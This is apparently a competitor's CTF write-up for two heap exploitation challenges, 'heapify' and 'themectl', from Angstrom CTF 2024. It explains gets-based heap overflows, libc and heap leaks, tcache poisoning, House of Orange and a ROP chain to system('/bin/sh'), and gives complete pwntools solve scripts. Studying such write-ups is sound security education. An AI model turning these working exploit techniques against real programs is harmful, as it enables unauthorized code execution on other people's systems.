# Angstrom CTF 2024 - Pwnable write-up
---
On this CTF events, I solved 5 out of 8 challenges during the the event. For the others, I asked for some hints after the CTF ended and solve all of them. On this write-up, I'll explain two most interesting challenge, which is `themectl` and `heapify`, which are the only two heap challenge in the event.
## Heapify
### Analysing
This is a straight forward heap challenge with a heap bof.
```c
void alloc() {
if(idx >= N) {
puts("you've allocated too many chunks");
return;
}
printf("chunk size: ");
int size = readint();
char *chunk = malloc(size);
printf("chunk data: ");
// ----------
// VULN BELOW !!!!!!
// ----------
gets(chunk);
// ----------
// VULN ABOVE !!!!!!
// ----------
printf("chunk allocated at index: %d\n", idx);
chunks[idx++] = chunk;
}
```

Other than that, there are no UAF, no edit option.
### Exploit
#### Leaking libc address
As usual, for our exploit, we need to get the address of libc. For this challenge, there is a heap bof, so we can overwrite metadata of adjacent chunk. Because of that, making overlapping chunks is easy.
To get the addresses, I take advantage of splitting mechanism of unsorted bin chunks. The freed unsorted bin containing libc address is still overlap with our malloc'd chunks. If we malloc a size less than the chunk in the unsorted bin, that chunk will be splitted into two parts and use one for allocation, the other still in the unsorted bin. I can control how much we malloc to make the remaining chunk fall right into our pointer, so I can use view to leak libc.
```python
malloc(0x8,b'') # 1
malloc(0x208,b'') # 2
malloc(0x8,b'') # 3
malloc(0x208,b'') # 4
malloc(0x8,b'') # 5
free(1)
malloc(0x8,b'a'*0x18 + p32(0x441)) # 6
free(2)
malloc(0x208,b'') # 7
leak = view(3)
leak = u64(leak.strip().ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
```
### Leaking heap address
I will use tcache poisoning technique, so leaking heap address is required. As the previous free chunk is in the same spot as our controlled pointer, we malloc to get a chunk there, then free to put it in tcachebin. Then we are left with heap address.
```python
log.info('Base libc @ ' + hex(libc_base))
log.info('Leaked: ' + hex(leak))
# Leaking heap
malloc(0x8,b'') # 8
malloc(0x8,b'') # 9
free(8)
leak = view(3)
heap_key = u64(leak.strip().ljust(8,b'\x00'))
log.info('Leaked: ' + hex(heap_key))
libc.address = libc_base
```
### Getting the shell
Since we can only perform aaw, I cannot leak the environ from libc. My choice to go was using one_gadget and pray.
```python
# Tcache poison
malloc(0x30,b'') # 10
malloc(0x100,b'') # 11
malloc(0x100,b'') # 12
free(12)
free(11)
free(10)
malloc(0x30, b'a'*0x38 + p64(0x51) + p64(0x21a090 + libc.address ^ heap_key) ) # 13
malloc(0x100,b'a') # 14
gadget =0xebc88+libc.address
malloc(0x100, p64(gadget)*3 ) #15
free(0)
free(0)
chall.interactive()
```
### Solve script
```python
from pwn import *
import sys
#context.log_level = 'debug'
context.binary = exe = ELF('./heapify')
# nc = 'challs.actf.co'
# p = 31501
nc = 'localhost'
p = 5000
libc = ELF('./libc.so.6')
if sys.argv[1] == 'debug':
chall = gdb.debug(exe.path, '''
set solib-search-path /home/aneii/ctf/angstrom24/dist/
set sysroot /home/aneii/ctf/angstrom24/dist/
b *main+63
c
b *exit
clear *main+63
c
''')
elif sys.argv[1] == 'connect':
chall = remote(nc, p)
else:
chall = process()
def malloc(size, msg):
chall.sendlineafter(b'choice: ', b'1')
chall.sendlineafter(b'size: ',str(size).encode())
chall.sendlineafter(b'data: ',msg)
def free(idx):
chall.sendlineafter(b'choice: ',b'2')
chall.sendlineafter(b'index: ',str(idx).encode())
def view(idx):
chall.sendlineafter(b'choice: ',b'3')
chall.sendlineafter(b'index: ',str(idx).encode())
return chall.recvline()
malloc(0x10,b'a'*0x10)
# Leaking libc
malloc(0x8,b'') # 1
malloc(0x208,b'') # 2
malloc(0x8,b'') # 3
malloc(0x208,b'') # 4
malloc(0x8,b'') # 5
free(1)
malloc(0x8,b'a'*0x18 + p32(0x441)) # 6
free(2)
malloc(0x208,b'') # 7
leak = view(3)
leak = u64(leak.strip().ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
log.info('Base libc @ ' + hex(libc_base))
log.info('Leaked: ' + hex(leak))
# Leaking heap
malloc(0x8,b'') # 8
malloc(0x8,b'') # 9
free(8)
leak = view(3)
heap_key = u64(leak.strip().ljust(8,b'\x00'))
log.info('Leaked: ' + hex(heap_key))
libc.address = libc_base
# Tcache poison
malloc(0x30,b'') # 10
malloc(0x100,b'') # 11
malloc(0x100,b'') # 12
free(12)
free(11)
free(10)
malloc(0x30, b'a'*0x38 + p64(0x51) + p64(0x21a090 + libc.address ^ heap_key) ) # 13
malloc(0x100,b'a') # 14
gadget =0xebc88+libc.address
malloc(0x100, p64(gadget)*3 ) #15
free(0)
free(0)
chall.interactive()
```

## Themectl
This is also a heap challenge, there is no free option.
### Reversing
First, we need to sign in. Let's take a look at `create_user`, as this one is important in my exploit.
```c
[...]
printf("Enter your password: ");
fgets(password, 300, stdin);
password[strcspn(password, "\n")] = 0;
printf("How many themes would you like? ");
fgets(nptr, 32, stdin);
v1 = atoi(nptr);
if ( v1 <= 0 )
v1 = -v1;
v6 = v1;
themes = (char *)malloc(8 * (v1 + 1LL));
user_data = (char **)malloc(0x18uLL);
v2 = strlen(username);
*user_data = (char *)malloc(v2 + 1);
strcpy(*user_data, username);
v3 = strlen(password);
user_data[1] = (char *)malloc(v3 + 1);
strcpy(user_data[1], password);
user_data[2] = themes;
*(_QWORD *)user_data[2] = v6;
for ( j = 0; userlist[j]; ++j )
;
user_index = j;
userlist[j] = (usr *)user_data;
cur_user = (__int64)user_data;
return 0LL;
```
First, it mallocs 2 chunks to place our username and password there. Then, it mallocs a chunk to store user theme addresses, which is our actual controlled chunks.
Let's take a look at heap options.
```c
case 1:
printf("Which theme would you like to edit? ");
fgets(s, 32, stdin);
v6 = atoi(s);
if ( v6 < 0 || (unsigned __int64)v6 >= **(_QWORD **)(cur_user + 16) )
{
puts("Not a valid index.");
}
else
{
printf("Enter a theme idea: ");
if ( *(_QWORD *)(*(_QWORD *)(cur_user + 16) + 8LL * v6 + 8) )
{
gets(*(_QWORD *)(*(_QWORD *)(cur_user + 16) + 8LL * v6 + 8));
}
else
{
v8 = malloc(0x20uLL);
gets(v8);
*(_QWORD *)(*(_QWORD *)(cur_user + 16) + 8LL * v6 + 8) = v8;
}
}
break;
```
It uses `gets` to read our input, so we have a heap bof again. But this time, there's no free option, so we cannot use the same technique for this challenge.
The other options are view and edit, which are self-explanatory.
### Approach
User info and our theme are both placed at heap. There was a clear bof for our input, so we can fully overwrite user info for easy aaw and aar if chunks are aligned reasonably.
For that, I register as user 1, then malloc 1 chunk for user 1, then register as user 2. Right now, we can control user 2 data.
```python
register(b'1',b'1',100)
malloc(0,b'')
logout()
register(b'2',b'2',4)
```
### Leaking heap address
When malloc a new chunk, it place the address in the user chunk. I take the advantage of it to leak the address of the heap. I write just enough "A" as user 1 so that the address user 2 will be right next to our input. When I used view, the address will be printed along with my input.
```python
logout()
login(b'1',b'1')
malloc(0,b'a'*7*8 + p64(0))
logout()
login(b'2',b'2')
malloc(0,b'')
logout()
login(b'1',b'1')
leaked = leak(0)
heap_base = u64(leaked[7*8+1:7*8+7].strip().ljust(8,b'\x00')) & 0xfffffffff000
log.info('Base heap @ ' + hex(heap_base))
```
### Leaking libc address
For now, we can control aaw and aar in the heap. To get libc address on the heap, I use House of Orange technique to call `_int_free`. Then I just straght up read that address from user 2, as we already have aar.
```python
logout()
login(b'1',b'1')
malloc(0,p64(0)*5+ p64(0x31) + p64(4)+p64(heap_base+0x880))
malloc(1,b'a'*0x28+p64(0x7f1))
logout()
register(b'3',b'3',500) # Register as user 3 to malloc a large chunk
logout()
login(b'2',b'2')
leaked = leak(0)
libc.address = u64(leaked.strip().ljust(8,b'\x00')) - 0x21ace0
log.info('Libc @ '+hex(libc.address))
```
### Getting the shell
For this challenge, I leak stack frame address through environ to perfome a rop on there. Again, we have aaw and aar so this is just easy peasy.
```python
logout()
login(b'1',b'1')
malloc(0,p64(0)*5+ p64(0x31) + p64(4)+p64(libc.sym["environ"]))
logout()
login(b'2',b'2')
environ = u64(leak(0).strip().ljust(8,b'\x00'))
saved_rip = environ - 0x120
log.info('Environ @ ' + hex(environ))
log.info("Stack frame @ " + hex(saved_rip))
logout()
login(b'1',b'1')
malloc(0,p64(0)*5+ p64(0x31) + p64(4)+p64(saved_rip))
logout()
login(b'2',b'2')
pop_rdi = 0x2a3e5
payload = flat([
0x29139 + libc.address,
pop_rdi + libc.address,
next(libc.search(b'/bin/sh\x00')),
libc.sym["system"]
])
malloc(0,payload)
chall.interactive()
```
### Solve script
```python
from pwn import *
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
context.binary = exe = ELF('./themectl')
if sys.argv[1] == 'debug':
chall = gdb.debug(exe.path, '''
set solib-search-path /usr/lib/x86_64-linux-gnu/
c
''')
elif sys.argv[1] == 'connect':
chall = remote(nc, p)
else:
chall = process()
def logout():
chall.sendlineafter(b'> ',b'4')
def login(name,passw):
chall.sendlineafter(b'> ',b'2')
chall.sendlineafter(b'name: ',name)
chall.sendlineafter(b'word: ',passw)
def register(name,passw,num_chunk):
chall.sendlineafter(b'> ', b'1')
chall.sendlineafter(b'name: ', name)
chall.sendlineafter(b'word: ',passw)
chall.sendlineafter(b'? ',str(num_chunk).encode())
def malloc(idx, msg):
chall.sendlineafter(b'>', b'1')
chall.sendlineafter(b'? ',str(idx).encode())
chall.sendlineafter(b'idea: ',msg)
def leak(idx):
chall.sendlineafter(b'> ',b'2')
chall.sendlineafter(b'?',str(idx).encode())
return chall.recvline()
register(b'1',b'1',100)
malloc(0,b'')
logout()
register(b'2',b'2',4)
logout()
login(b'1',b'1')
malloc(0,b'a'*7*8 + p64(0))
logout()
login(b'2',b'2')
malloc(0,b'')
logout()
login(b'1',b'1')
leaked = leak(0)
heap_base = u64(leaked[7*8+1:7*8+7].strip().ljust(8,b'\x00')) & 0xfffffffff000
log.info('Base heap @ ' + hex(heap_base))
logout()
login(b'1',b'1')
malloc(0,p64(0)*5+ p64(0x31) + p64(4)+p64(heap_base+0x880))
malloc(1,b'a'*0x28+p64(0x7f1))
logout()
register(b'3',b'3',500)
logout()
login(b'2',b'2')
leaked = leak(0)
libc.address = u64(leaked.strip().ljust(8,b'\x00')) - 0x21ace0
log.info('Libc @ '+hex(libc.address))
logout()
login(b'1',b'1')
malloc(0,p64(0)*5+ p64(0x31) + p64(4)+p64(libc.sym["environ"]))
logout()
login(b'2',b'2')
environ = u64(leak(0).strip().ljust(8,b'\x00'))
saved_rip = environ - 0x120
log.info('Environ @ ' + hex(environ))
log.info("Stack frame @ " + hex(saved_rip))
logout()
login(b'1',b'1')
malloc(0,p64(0)*5+ p64(0x31) + p64(4)+p64(saved_rip))
logout()
login(b'2',b'2')
pop_rdi = 0x2a3e5
payload = flat([
0x29139 + libc.address,
pop_rdi + libc.address,
next(libc.search(b'/bin/sh\x00')),
libc.sym["system"]
])
malloc(0,payload)
chall.interactive()
```
